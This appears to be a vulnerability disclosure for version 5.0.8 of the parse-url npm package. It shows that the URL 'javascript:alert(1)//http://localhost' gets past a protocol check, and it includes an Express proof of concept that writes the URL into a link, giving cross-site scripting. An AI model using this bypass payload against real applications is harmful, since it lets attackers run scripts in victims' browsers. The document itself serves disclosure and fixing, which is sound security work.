Description

The parse-url The 5.0.8 version of the parser does not check url characters between protocols. This causes spoofing of the javascript protocol itself.

Proof of Concept

const parseUrl = require("parse-url");
const express = require('express');
const app = express();

parsed = parseUrl("javascript:alert(1)//http://localhost");
console.log(parsed);

app.get('/', (req, res) => {
    if (parsed.protocol !== "javascript") {
        res.send("<a href=\'" + parsed.href + "\'>CLICK ME!</a>")
    }
})

app.listen(9999);

In general, the above express code forbids the javascript protocol. However, you can spoof this using the double url scheme

output console.log(parsed);
{
  protocols: [ 'javascript:alert(1)//http' ],
  protocol: 'javascript:alert(1)//http',
  port: null,
  resource: 'localhost',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'javascript:alert(1)//http://localhost',
  query: [Object: null prototype] {}
}

output : document in browser
<a href="javascript:alert(1)//http://localhost">CLICK ME!</a>

Impact

Through this vulnerability, an attacker is capable to execute malicious scripts.